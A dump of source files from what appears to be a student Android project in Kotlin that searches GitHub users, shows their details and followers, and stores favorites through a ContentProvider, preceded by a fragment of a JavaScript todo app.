objects = JSON.parse(localStorage.getItem(type));
object = objects[id];
if (!object) {
object = null;
}
successCallback(object);
}
};
}();
|
8c84d12de9ffa03a7238ce32c3a933242dd8da6f
|
[
"JavaScript",
"Markdown"
] | 5
|
JavaScript
|
mykolav/js-todo
|
1d376a6f6dde1ecef322379f075e2b9e908ff8c1
|
bf578c8179b8fdc0445756ad0cdd1741248767d1
|
refs/heads/master
|
<repo_name>yusTIKAmonita/Submission2AndroidFundamental<file_sep>/app/src/main/java/com/example/mysubmission2/viewmodel/FavoriteViewModel.kt
package com.example.mysubmission2.viewmodel
import android.app.Application
import android.util.Log
import android.widget.Toast
import androidx.lifecycle.AndroidViewModel
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.ViewModel
import com.example.mysubmission2.data.FavoriteData
import com.example.mysubmission2.MappingHelper
import com.example.mysubmission2.data.UserDetail
import com.example.mysubmission2.database.DatabaseFavorite
import com.loopj.android.http.AsyncHttpClient
import com.loopj.android.http.AsyncHttpResponseHandler
import cz.msebera.android.httpclient.Header
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.async
import kotlinx.coroutines.launch
import org.json.JSONObject
import java.lang.Exception
class FavoriteViewModel(application: Application) : AndroidViewModel(application) {
// companion object {
// private val TAG = FavoriteViewModel::class.java.simpleName
// }
//
// private val listFavorite = MutableLiveData<ArrayList<FavoriteData>>()
//
// fun setUserFavorite(context: String?) {
// GlobalScope.launch (Dispatchers.Main) {
// try {
// val defferedFavorite = async(Dispatchers.IO) {
// val cursor = context.contentResolver.query(DatabaseFavorite.FavColumns.CONTENT_URI,
// null,
// null,
// null,
// null)
// MappingHelper.mapCursorToArrayList(cursor)
// }
// val favDat = defferedFavorite.await()
// Log.d (TAG, "$favDat")
// listFavorite.postValue(favDat)
// Log.d(TAG, "$listFavorite")
// } catch (e:Exception) {
// Log.d(TAG, e.message.toString())
// Toast.makeText(context, "Error: ${e.message.toString()}", Toast.LENGTH_SHORT).show()
// }
// }
// }
//
//
//
// fun getUserFavorite() : LiveData<ArrayList<FavoriteData>> = listFavorite
val userDataSearch = MutableLiveData<FavoriteData>()
fun setUserFavorite(username: String) {
val apiKey = "<KEY>"
val url = "https://api.github.com/users/$username"
val client = AsyncHttpClient()
client.addHeader("Authorization", "token $apiKey")
client.addHeader("User-Agent", "request")
client.get(url, object : AsyncHttpResponseHandler() {
override fun onSuccess(statusCode: Int, headers: Array<out Header>, responseBody: ByteArray) {
try {
val result = String(responseBody)
val jsonObject = JSONObject(result)
val listUser = FavoriteData()
listUser.username = jsonObject.getString("login")
listUser.name = jsonObject.getString("name")
listUser.photoUrl = jsonObject.getString("avatar_url")
listUser.userLocation = jsonObject.getString("location")
listUser.publicRepos = jsonObject.getString("public_repos")
listUser.followers = jsonObject.getString("followers")
listUser.following = jsonObject.getString("following")
userDataSearch.postValue(listUser)
} catch (e: Exception) {
e.message
}
}
override fun onFailure(statusCode: Int, headers: Array<out Header>?, responseBody: ByteArray?, error: Throwable?) {
val errorMessage = when (statusCode) {
401 -> "$statusCode: Bad request"
403 -> "$statusCode: Forbidden"
404 -> "$statusCode: NotFound"
else -> "$statusCode: ${error?.message}"
}
Toast.makeText(getApplication(), errorMessage, Toast.LENGTH_SHORT)
}
})
}
internal fun getUserFavorite(): MutableLiveData<FavoriteData> {
return userDataSearch
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/ui/FavoriteActivity.kt
package com.example.mysubmission2.ui
import android.content.Intent
import android.database.ContentObserver
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.os.Handler
import android.os.HandlerThread
import android.view.View
import android.widget.SearchView
import androidx.recyclerview.widget.LinearLayoutManager
import com.example.mysubmission2.MappingHelper
import com.example.mysubmission2.adapter.FavoriteAdapter
import com.example.mysubmission2.adapter.RecyclerViewAdapter
import com.example.mysubmission2.data.FavoriteData
import com.example.mysubmission2.data.UserData
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.CONTENT_URI
//import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.CONTENT_URI
import com.example.mysubmission2.database.FavoriteHelper
import com.example.mysubmission2.databinding.ActivityFavoriteBinding
//import com.example.mysubmission2.viewmodel.FavoriteViewModel
import com.google.android.material.snackbar.Snackbar
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.async
import kotlinx.coroutines.launch
class FavoriteActivity : AppCompatActivity() {
private lateinit var favoriteAdapter: FavoriteAdapter
// private lateinit var favoriteViewModel: FavoriteViewModel
private lateinit var searchView: SearchView
private lateinit var binding: ActivityFavoriteBinding
private var listFavorite = ArrayList<FavoriteData>()
companion object {
// private val TAG = FavoriteViewModel::class.java.simpleName
private const val EXTRA_STATE = "EXTRA_STATE"
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
binding = ActivityFavoriteBinding.inflate(layoutInflater)
setContentView(binding.root)
supportActionBar?.title = "Favorite User"
favoriteAdapter = FavoriteAdapter(this)
favoriteAdapter.notifyDataSetChanged()
// if (savedInstanceState == null){
// loadNoteAsync()
// } else {
// val list = savedInstanceState.getParcelableArrayList<FavoriteData>(EXTRA_STATE)
// if (list != null) {
// favoriteAdapter.listFavorite = list
// }
// }
// favoriteAdapter.notifyDataSetChanged()
//
// favoriteViewModel = ViewModelProvider(this, ViewModelProvider.AndroidViewModelFactory(application))
// .get(FavoriteViewModel::class.java).apply {
// binding.tvFavorite.text = resources.getString(R.string.loading_data)
// showLoading(true)
// setUserFavorite(this@FavoriteActivity)
// getUserFavorite().observe(this@FavoriteActivity, Observer {
// if (it != null) {
// showFavoriteItem(it)
// Log.d(TAG, "$it")
// showLoading(false)
// }
// }
// )
// }
val handlerThread = HandlerThread("DataObserver")
handlerThread.start()
val handler = Handler(handlerThread.looper)
val myObserver = object : ContentObserver(handler) {
override fun onChange(selfChange: Boolean) {
loadNoteAsync()
}
}
contentResolver.registerContentObserver(CONTENT_URI, true, myObserver)
if (savedInstanceState == null) {
loadNoteAsync()
} else {
val _listFavorite = savedInstanceState.getParcelableArrayList<FavoriteData>(EXTRA_STATE)
if (_listFavorite != null) {
favoriteAdapter.listFavorite = _listFavorite
}
}
recylerFavorite()
}
// @SuppressLint("SetTextI18n")
// private fun showFavoriteItem(userFavorite: ArrayList<FavoriteData>) {
// favoriteAdapter.setUserFavorite(userFavorite)
// if (userFavorite.size >= 1) binding.tvFavorite.text = "${resources.getString(R.string.favored_user)}: ${userFavorite.size}"
// else if (userFavorite.size == 0) binding.tvFavorite.text = getString(R.string.info_favorite)
// }
// private fun showLoading(state: Boolean) {
// if (state) binding.progresBar.visibility = View.VISIBLE
// else binding.progresBar.visibility = View.GONE
//
// }
// private fun setSelectedUser(data: FavoriteData) {
// val intent = Intent(this, DetailActivity::class.java)
// intent.putExtra(DetailActivity.EXTRA_PHOTO, data.photoUrl)
// intent.putExtra(DetailActivity.EXTRA_USERNAME, data.username)
// startActivity(intent)
//
// val mBundle = Bundle().apply {
// putString(DetailActivity.EXTRA_PHOTO, data.photoUrl)
// putString(DetailActivity.EXTRA_USERNAME, data.username)
// }
//
// NavHostController
// .findNavController(this)
// .navigate(R.id.action_favorite, mBundle)
// closeKeyboard()
// }
//
// private fun closeKeyboard() {
// TODO("Not yet implemented")
//}
private fun recylerFavorite() {
// binding.recycleFavorite.setHasFixedSize(true)
binding.recycleFavorite.layoutManager = LinearLayoutManager(this)
// favoriteAdapter = FavoriteAdapter(this)
binding.recycleFavorite.adapter = favoriteAdapter
// favoriteAdapter.setOnItemClickCallBack(object: FavoriteAdapter.OnItemClickCallBack {
// override fun onItemClicked(data: FavoriteData) {
// val intent = Intent(this@FavoriteActivity, DetailActivity::class.java)
// intent.putExtra(DetailActivity.EXTRA_DETAIL, data)
// startActivity(intent)
// }
// })
// favoriteAdapter.setOnItemClickCallBack(object : FavoriteAdapter.OnItemClickCallBack {
// override fun onItemClicked(data: FavoriteData) = setSelectedUser(data)
// })
}
private fun loadNoteAsync() {
GlobalScope.launch(Dispatchers.Main) {
binding.progresBar.visibility = View.VISIBLE
// val favoriteHelper = FavoriteHelper.getInstance(applicationContext)
// favoriteHelper.open()
val defferedFavorite = async(Dispatchers.IO) {
val cursor = contentResolver?.query(CONTENT_URI, null, null, null, null)
MappingHelper.mapCursorToArrayList(cursor)
}
// favoriteHelper.close()
val favDat = defferedFavorite.await()
binding.progresBar.visibility = View.INVISIBLE
if (favDat.size > 0) {
favoriteAdapter.listFavorite = favDat
} else {
// binding.progresBar.visibility = View.VISIBLE
favoriteAdapter.listFavorite = ArrayList()
showSnackbarMessage("Tidak ada Data")
}
}
}
private fun showSnackbarMessage(message: String) {
Snackbar.make(binding.recycleFavorite, message, Snackbar.LENGTH_SHORT).show()
}
override fun onSaveInstanceState(outState: Bundle) {
super.onSaveInstanceState(outState)
outState.putParcelableArrayList(EXTRA_STATE, favoriteAdapter.listFavorite)
}
private fun setActionBarTitle() {
if (supportActionBar != null) {
supportActionBar?.title = "Favorite User"
}
}
// override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
// super.onActivityResult(requestCode, resultCode, data)
//
// if (data != null) {
// when(requestCode) {
// DetailActivity.RESULT_ADD -> if (resultCode == DetailActivity.RESULT_ADD) {
// val favorite = data.getParcelableExtra<FavoriteData>(DetailActivity.EXTRA_NOTE) as FavoriteData
//
// favoriteAdapter.addItem(favorite)
// binding.recycleFavorite.smoothScrollToPosition(favoriteAdapter.itemCount -1)
//
// showSnackbarMessage("Data berhasil ditambhakan")
// }
//
// DetailActivity.REQUEST_UPDATE ->
// when(resultCode) {
// DetailActivity.RESULT_DELET -> {
// val position = data.getIntExtra(DetailActivity.EXTRA_POSITION, 0)
//
// favoriteAdapter.removeItem(position)
//
// showSnackbarMessage("Data berhasil dihapus")
// }
// }
//
// }
// }
// }
override fun onResume() {
super.onResume()
loadNoteAsync()
}
}
<file_sep>/app/src/main/java/com/example/mysubmission2/viewmodel/FollowViewModel.kt
package com.example.mysubmission2.viewmodel
import android.annotation.SuppressLint
import android.app.Application
import android.widget.Toast
import androidx.lifecycle.AndroidViewModel
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import com.example.mysubmission2.data.UserData
import com.loopj.android.http.AsyncHttpClient
import com.loopj.android.http.AsyncHttpResponseHandler
import cz.msebera.android.httpclient.Header
import org.json.JSONArray
@SuppressLint("StaticFieldLeak")
class FollowViewModel(application: Application) : AndroidViewModel(application) {
val userDataFollow = MutableLiveData<ArrayList<UserData>>()
fun setUserFollow (username: String, tab: String) {
val url = "https://api.github.com/users/$username/$tab"
val listUserData = ArrayList<UserData>()
val apiKey = "<KEY>"
val client = AsyncHttpClient()
client.addHeader("Authorization", "token $apiKey")
client.addHeader("User-Agent", "request")
client.get(url, object : AsyncHttpResponseHandler() {
override fun onSuccess(statusCode: Int, headers: Array<out Header>, responseBody: ByteArray) {
try {
val result = String(responseBody)
val jsonArray = JSONArray(result)
for (i in 0 until jsonArray.length()) {
val gitHubUsers = jsonArray.getJSONObject(i)
val listUser = UserData()
listUser.username = gitHubUsers.getString("login")
listUser.type = gitHubUsers.getString("type")
listUser.photoUrl = gitHubUsers.getString("avatar_url")
listUserData.add(listUser)
}
userDataFollow.postValue(listUserData)
} catch(e: Exception) {
}
}
@SuppressLint("ShowToast")
override fun onFailure(statusCode: Int, headers: Array<out Header>?, responseBody: ByteArray?, error: Throwable?) {
val errorMessage = when (statusCode) {
401 -> "$statusCode: Bad request"
403 -> "$statusCode: Forbidden"
404 -> "$statusCode: NotFound"
else -> "$statusCode: ${error?.message}"
}
Toast.makeText(getApplication(), errorMessage, Toast.LENGTH_SHORT)
}
})
}
internal fun getUserFollow(): LiveData<ArrayList<UserData>> {
return userDataFollow
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/viewmodel/SearchViewModel.kt
package com.example.mysubmission2.viewmodel
import android.app.Application
import android.widget.Toast
import androidx.lifecycle.AndroidViewModel
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import com.example.mysubmission2.data.UserData
import com.loopj.android.http.AsyncHttpClient
import com.loopj.android.http.AsyncHttpResponseHandler
import cz.msebera.android.httpclient.Header
import org.json.JSONObject
import java.lang.Exception
class SearchViewModel(application: Application) : AndroidViewModel(application) {
val userDataSearch = MutableLiveData<ArrayList<UserData>>()
fun setUserSearch (username: String) {
val ListUser = ArrayList<UserData>()
val apiKey = "<KEY>"
val url = "https://api.github.com/search/users?q=$username"
val client = AsyncHttpClient()
client.addHeader("Authorization", "token $apiKey")
client.addHeader("User-Agent", "request")
client.get(url, object : AsyncHttpResponseHandler() {
override fun onSuccess(statusCode: Int, headers: Array<out Header>, responseBody: ByteArray) {
try {
val result = String(responseBody)
val jsonObject = JSONObject(result)
val jsonArray = jsonObject.getJSONArray("items")
for (i in 0 until jsonArray.length()) {
val gitHubUsers = jsonArray.getJSONObject(i)
val listUser = UserData()
listUser.username = gitHubUsers.getString("login")
listUser.type = gitHubUsers.getString("type")
listUser.photoUrl = gitHubUsers.getString("avatar_url")
ListUser.add(listUser)
}
userDataSearch.postValue(ListUser)
} catch(e: Exception) {
e.message
}
}
override fun onFailure(statusCode: Int, headers: Array<out Header>?, responseBody: ByteArray?, error: Throwable?) {
val errorMessage = when (statusCode) {
401 -> "$statusCode: Bad request"
403 -> "$statusCode: Forbidden"
404 -> "$statusCode: NotFound"
else -> "$statusCode: ${error?.message}"
}
Toast.makeText(getApplication(), errorMessage, Toast.LENGTH_SHORT)
}
})
}
internal fun getUserSearch(): LiveData<ArrayList<UserData>> {
return userDataSearch
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/viewmodel/DetailViewModel.kt
package com.example.mysubmission2.viewmodel
import android.app.Application
import android.widget.Toast
import androidx.lifecycle.AndroidViewModel
import androidx.lifecycle.MutableLiveData
import com.example.mysubmission2.data.UserDetail
import com.loopj.android.http.AsyncHttpClient
import com.loopj.android.http.AsyncHttpResponseHandler
import cz.msebera.android.httpclient.Header
import org.json.JSONObject
import java.lang.Exception
class DetailViewModel(application: Application) : AndroidViewModel(application) {
val userDataSearch = MutableLiveData<UserDetail>()
fun setUserDetail(username: String) {
val apiKey = "<KEY>"
val url = "https://api.github.com/users/$username"
val client = AsyncHttpClient()
client.addHeader("Authorization", "token $apiKey")
client.addHeader("User-Agent", "request")
client.get(url, object : AsyncHttpResponseHandler() {
override fun onSuccess(statusCode: Int, headers: Array<out Header>, responseBody: ByteArray) {
try {
val result = String(responseBody)
val jsonObject = JSONObject(result)
val listUser = UserDetail()
listUser.username = jsonObject.getString("login")
listUser.name = jsonObject.getString("name")
listUser.photoUrl = jsonObject.getString("avatar_url")
listUser.userLocation = jsonObject.getString("location")
listUser.publicRepos = jsonObject.getInt("public_repos")
listUser.followers = jsonObject.getInt("followers")
listUser.following = jsonObject.getInt("following")
userDataSearch.postValue(listUser)
} catch (e: Exception) {
e.message
}
}
override fun onFailure(statusCode: Int, headers: Array<out Header>?, responseBody: ByteArray?, error: Throwable?) {
val errorMessage = when (statusCode) {
401 -> "$statusCode: Bad request"
403 -> "$statusCode: Forbidden"
404 -> "$statusCode: NotFound"
else -> "$statusCode: ${error?.message}"
}
Toast.makeText(getApplication(), errorMessage, Toast.LENGTH_SHORT)
}
})
}
internal fun getUserDetail(): MutableLiveData<UserDetail> {
return userDataSearch
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/adapter/FavoriteAdapter.kt
package com.example.mysubmission2.adapter
import android.app.Activity
import android.content.Intent
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.recyclerview.widget.RecyclerView
import com.bumptech.glide.Glide
import com.bumptech.glide.request.RequestOptions
import com.example.mysubmission2.*
import com.example.mysubmission2.data.FavoriteData
import com.example.mysubmission2.data.UserData
import com.example.mysubmission2.databinding.FavoriteListBinding
import com.example.mysubmission2.ui.DetailActivity
import kotlin.collections.ArrayList
class FavoriteAdapter(private var activity: Activity): RecyclerView.Adapter<FavoriteAdapter.FavoriteViewHolder>() {
private lateinit var onItemClickCallBack: OnItemClickCallBack
var listFavorite = ArrayList<FavoriteData>()
set(listFavorite) {
if (listFavorite.size > 0) {
this.listFavorite.clear()
}
this.listFavorite.addAll(listFavorite)
notifyDataSetChanged()
}
fun addItem(favorite: FavoriteData) {
this.listFavorite.add(favorite)
notifyItemInserted(this.listFavorite.size -1)
}
fun updateItem(position: Int, favorite: FavoriteData) {
this.listFavorite[position] = favorite
notifyItemChanged(position, favorite)
}
fun removeItem(position: Int) {
this.listFavorite.removeAt(position)
notifyItemRemoved(position)
notifyItemRangeChanged(position, this.listFavorite.size)
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): FavoriteViewHolder {
val view = LayoutInflater.from(parent.context).inflate(R.layout.favorite_list, parent, false)
return FavoriteViewHolder(view)
}
override fun onBindViewHolder(holder: FavoriteViewHolder, position: Int) {
holder.bind(listFavorite[position])
}
override fun getItemCount(): Int = this.listFavorite.size
inner class FavoriteViewHolder(itemView: View): RecyclerView.ViewHolder(itemView) {
private val binding = FavoriteListBinding.bind(itemView)
fun bind (favorite: FavoriteData){
Glide.with(itemView.context)
.load(favorite.photoUrl)
.apply (RequestOptions().override(250, 250))
.into(binding.imgPhoto)
binding. tvItemUsername.text = favorite.username
binding.tvItemName.text = favorite.name
binding.tvItemLocation.text = favorite.userLocation
// itemView.setOnClickListener{
// onItemClickCallBack.onItemClicked(favorite)
itemView.setOnClickListener(CustomOnItemClickListener(adapterPosition, object: CustomOnItemClickListener.OnItemClickCallBack{
override fun onItemClicked(v: View, position: Int) {
val intent = Intent(activity, DetailActivity::class.java)
intent.putExtra(DetailActivity.EXTRA_POSITION, position)
intent.putExtra(DetailActivity.EXTRA_NOTE, favorite)
activity.startActivity(intent)
// activity.startActivityForResult(intent, DetailActivity.REQUEST_UPDATE)
}
}))
}
}
fun setOnItemClickCallBack(onItemClickCallBack:OnItemClickCallBack) {
this.onItemClickCallBack = onItemClickCallBack
}
interface OnItemClickCallBack {
fun onItemClicked(data: FavoriteData)
}
}
//class FavoriteAdapter(var listFavorite: ArrayList<FavoriteData>): RecyclerView.Adapter<FavoriteAdapter.FavoriteViewHolder>(), Filterable {
//
// private val TAG = FavoriteAdapter::class.java.simpleName
// private lateinit var onItemClickDetail: OnItemClickCallBack
// private var filterListFavorite: ArrayList<FavoriteData> = listFavorite
//
// fun setOnItemClickCallBack(onItemClickCallBack: OnItemClickCallBack) {
// this.onItemClickDetail = onItemClickCallBack
// }
//
// fun setUserFavorite(item: ArrayList<FavoriteData>){
// listFavorite.clear()
// listFavorite.addAll(item)
// notifyDataSetChanged()
// Log.d(TAG, "$item")
// }
//
// override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): FavoriteViewHolder {
// val binding = FavoriteListBinding.inflate(LayoutInflater.from(parent.context), parent, false)
// return FavoriteViewHolder(binding)
// }
//
// override fun onBindViewHolder(holder: FavoriteViewHolder, position: Int) {
// holder.bind(filterListFavorite[position])
// }
//
// override fun getItemCount(): Int = filterListFavorite.size
//
// inner class FavoriteViewHolder(private val binding: FavoriteListBinding) : RecyclerView.ViewHolder(binding.root) {
// fun bind(favoriteData: FavoriteData) {
// with(binding) {
// Glide.with(itemView.context)
// .load(favoriteData.photoUrl)
// .apply(RequestOptions().override(80,80))
// .into(imgPhoto)
// tvItemUsername.text = favoriteData.username
// tvItemName.text = favoriteData.name
// tvItemLocation.text = favoriteData.userLocation
// itemView.setOnClickListener{onItemClickDetail.onItemClicked(favoriteData)}
// }
// }
// }
//
// override fun getFilter(): Filter = object : Filter() {
// override fun performFiltering(constraint: CharSequence?): FilterResults {
// val itemSearch = constraint.toString()
// filterListFavorite = if (itemSearch.isEmpty()) listFavorite
// else {
// val favoriteList = ArrayList<FavoriteData>()
// for (item in listFavorite) {
// val name = item.name
// ?.toLowerCase(Locale.ROOT)
// ?.contains(itemSearch.toLowerCase(Locale.ROOT))
// val username = item.username
// ?.toLowerCase(Locale.ROOT)
// ?.contains(itemSearch.toLowerCase(Locale.ROOT))
// if (name == true || username == true) favoriteList.add(item)
// }
// favoriteList
// }
// val filterResult = FilterResults()
// filterResult.values = filterListFavorite
// return filterResult
// }
//
// @Suppress("UNCHECKED_CAST")
// override fun publishResults(constraint: CharSequence?, results: FilterResults?) {
// filterListFavorite = results?.values as ArrayList<FavoriteData>
// notifyDataSetChanged()
// }
// }
//
// interface OnItemClickCallBack {
// fun onItemClicked(data: FavoriteData)
// }
//
//}<file_sep>/app/src/main/java/com/example/mysubmission2/MappingHelper.kt
package com.example.mysubmission2
import android.database.Cursor
import com.example.mysubmission2.data.FavoriteData
import com.example.mysubmission2.database.DatabaseFavorite
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion._ID
//import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.ID
object MappingHelper {
fun mapCursorToArrayList (favoriteCursor : Cursor?) : ArrayList<FavoriteData> {
val favoriteList = ArrayList<FavoriteData>()
favoriteCursor?.apply {
while (moveToNext()) {
val id = getInt(getColumnIndexOrThrow(_ID))
val username = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.USERNAME))
val name = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.NAME))
val location = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.USER_LOCATION))
val photo = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.PHOTO_URL))
val repository = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.PUBLIC_REPOS))
// val followers = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.FOLLOWERS))
// val following = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.FOLLOWING))
val favorite = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.FAVORITE))
favoriteList.add (
FavoriteData(
id,
username,
name,
location,
photo,
repository,
// followers,
// following,
favorite
)
)
}
}
return favoriteList
}
fun mapCursorToObject (favoriteCursor : Cursor?) : FavoriteData {
var favoriteList = FavoriteData()
favoriteCursor?.apply {
moveToFirst()
val id = getInt(getColumnIndexOrThrow(_ID))
val username = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.USERNAME))
val name = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.NAME))
val location = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.USER_LOCATION))
val photo = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.PHOTO_URL))
val repository = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.PUBLIC_REPOS))
// val followers = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.FOLLOWERS))
// val following = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.FOLLOWING))
val favorite = getString(getColumnIndexOrThrow(DatabaseFavorite.FavColumns.FAVORITE))
favoriteList =
FavoriteData(
id,
username,
name,
location,
photo,
repository,
// followers,
// following,
favorite
)
}
return favoriteList
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/ui/DetailActivity.kt
package com.example.mysubmission2.ui
import android.annotation.SuppressLint
import android.content.ContentValues
import android.net.Uri
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.view.View
import android.widget.Toast
import androidx.annotation.StringRes
import androidx.lifecycle.ViewModelProvider
import androidx.viewpager2.widget.ViewPager2
import com.bumptech.glide.Glide
import com.example.mysubmission2.MappingHelper
import com.example.mysubmission2.R
import com.example.mysubmission2.adapter.DetailSectionPagerAdapter
import com.example.mysubmission2.data.FavoriteData
import com.example.mysubmission2.data.UserData
import com.example.mysubmission2.database.DatabaseFavorite
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.CONTENT_URI
//import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.CONTENT_URI
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.FAVORITE
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.NAME
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.PHOTO_URL
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.PUBLIC_REPOS
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.USERNAME
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.USER_LOCATION
import com.example.mysubmission2.database.FavoriteHelper
import com.example.mysubmission2.databinding.ActivityDetailBinding
import com.example.mysubmission2.viewmodel.DetailViewModel
import com.example.mysubmission2.viewmodel.FavoriteViewModel
import com.google.android.material.tabs.TabLayout
import com.google.android.material.tabs.TabLayoutMediator
//class DetailActivity : AppCompatActivity(), View.OnClickListener {
// private var _binding: ActivityDetailBinding? = null
// private val binding get() = _binding
// private lateinit var detailViewModel: DetailViewModel
//
// private lateinit var adapter: FavoriteAdapter
//
// private var stateFavorite = false
// private var favoriteData: FavoriteData? = null
// private var position: Int = 0
// private lateinit var favoriteHelper: FavoriteHelper
// private lateinit var photo: String
//
// private lateinit var favBinding: ActivityFavoriteBinding
//
//
// companion object {
// @StringRes
// private val TAB_TITLES = intArrayOf(
// R.string.follower,
// R.string.following
// )
// const val EXTRA_DETAIL = "extra_detail"
//
// const val EXTRA_NOTE = "extra note"
// const val EXTRA_POSITION = "extra position"
// const val RESULT_DELET = 301
// const val RESULT_ADD = 101
// const val REQUEST_UPDATE = 200
//
// }
//
// override fun onCreate(savedInstanceState: Bundle?) {
// super.onCreate(savedInstanceState)
// _binding = ActivityDetailBinding.inflate(layoutInflater)
// setContentView(binding?.root)
// supportActionBar?.title = "Detail"
//
// val user = intent.getParcelableExtra<UserData>(EXTRA_DETAIL) as UserData
// val username = user.username
//
// detailViewModel = ViewModelProvider(
// this,
// ViewModelProvider.AndroidViewModelFactory(application)
// ).get(DetailViewModel::class.java)
//
//
// if (username != null) {
// detailViewModel.setUserDetail(username)
// }
//
// showLoading(true)
// detailViewModel.getUserDetail().observe(this, {
// if (it != null) {
// binding?.apply {
// detailName.text = it.name
// detailUsername.text = it.username
// detailLocation.text = it.userLocation
// detailRepository.text = it.publicRepos.toString()
//
// Glide.with(this@DetailActivity)
// .load(it.photoUrl)
// .into(detailPhoto)
//
// showLoading(false)
// }
// }
// })
//
// val sectionsPagerAdapter = DetailSectionPagerAdapter(this)
// val viewPager: ViewPager2 = findViewById(R.id.view_pager)
// viewPager.adapter = sectionsPagerAdapter
// val tabs: TabLayout = findViewById(R.id.tab)
// TabLayoutMediator(tabs, viewPager) { tab, position ->
// tab.text = resources.getString(TAB_TITLES[position])
// }.attach()
// supportActionBar?.elevation = 0f
//
//
// // FAVORITE
// favoriteHelper = FavoriteHelper.getInstance(applicationContext)
// favoriteHelper.open()
//
// favoriteData = intent.getParcelableExtra(EXTRA_NOTE)
// if (favoriteData != null) {
// position = intent.getIntExtra(EXTRA_POSITION, 0)
// stateFavorite = true
//
// } else {
// favoriteData = FavoriteData()
// }
//
// val actionBarTitle: String
// val btnFav: Int
//
// if(stateFavorite) {
// actionBarTitle = "Ubah"
// btnFav = R.drawable.ic_baseline_favorite_24
//
// favoriteData?.let {
// binding?.detailName?.text = favoriteData?.name
// binding?.detailUsername?.text = favoriteData?.username
// binding?.detailLocation?.text = favoriteData?.userLocation
// binding?.detailRepository?.text = favoriteData?.publicRepos.toString()
//
// Glide.with(this)
// .load(favoriteData?.photoUrl)
// .into(binding!!.detailPhoto)
//
// photo = favoriteData?.photoUrl.toString()
// }
// } else {
// actionBarTitle = "Tambah"
// btnFav = R.drawable.ic_baseline_favorite_24
// }
//
// supportActionBar?.title = actionBarTitle
// supportActionBar?.setDisplayShowHomeEnabled(true)
//
// binding?.btnFavorite?.setImageResource(btnFav)
//
// binding?.btnFavorite?.setOnClickListener(this)
// }
// private fun showLoading(state: Boolean) {
// if (state)binding?.progressCircular?.visibility = View.VISIBLE
// else binding?.progressCircular?.visibility= View.GONE
// }
//
// override fun onClick(v: View?) {
// val username = binding?.detailUsername?.text.toString()
// val name = binding?.detailName?.text.toString()
// val location = binding?.detailLocation?.text.toString()
// val repository = binding?.detailUsername?.text.toString()
// val favorite = "1"
//
// val intent = Intent()
// intent.putExtra(EXTRA_NOTE, favoriteData)
// intent.putExtra(EXTRA_POSITION, position)
//
// //contentValues untuk menampung data
// val values = ContentValues()
// values.put(DatabaseFavorite.FavColumns.USERNAME, username)
// values.put(DatabaseFavorite.FavColumns.NAME, name)
// values.put(DatabaseFavorite.FavColumns.USER_LOCATION, location)
// values.put(DatabaseFavorite.FavColumns.PUBLIC_REPOS, repository)
// values.put(DatabaseFavorite.FavColumns.FAVORITE, favorite)
//
// if (stateFavorite){
// val result = favoriteHelper.deleteById(favoriteData?.username.toString()).toLong()
// if(result> 0) {
// intent.putExtra(EXTRA_POSITION, position)
// setResult(RESULT_DELET, intent)
// finish()
// } else {
// Toast.makeText(this, "Gagal menghapus data favorite", Toast.LENGTH_SHORT).show()
// }
// } else {
// val result = favoriteHelper.insert(values)
//
// if (result > 0) {
// favoriteData?.username = result.toString()
// setResult(RESULT_ADD, intent)
// finish()
// } else {
// Toast.makeText(this, "Gagal menambahkan data favorite", Toast.LENGTH_SHORT).show()
// }
// }
// }
//}
//class DetailActivity : AppCompatActivity(), View.OnClickListener {
// private var _binding: ActivityDetailBinding? = null
// private val binding get() = _binding
// private lateinit var detailViewModel: DetailViewModel
//
// private lateinit var image : String
// private lateinit var usernameFav : String
// private lateinit var userType : String
//
// private var isFavorite = false
// private var favoriteData: FavoriteData? = null
// private lateinit var favoriteHelper: FavoriteHelper
// private lateinit var imgPhoto: String
//
// companion object {
// @StringRes
// private val TAB_TITLES = intArrayOf(
// R.string.follower,
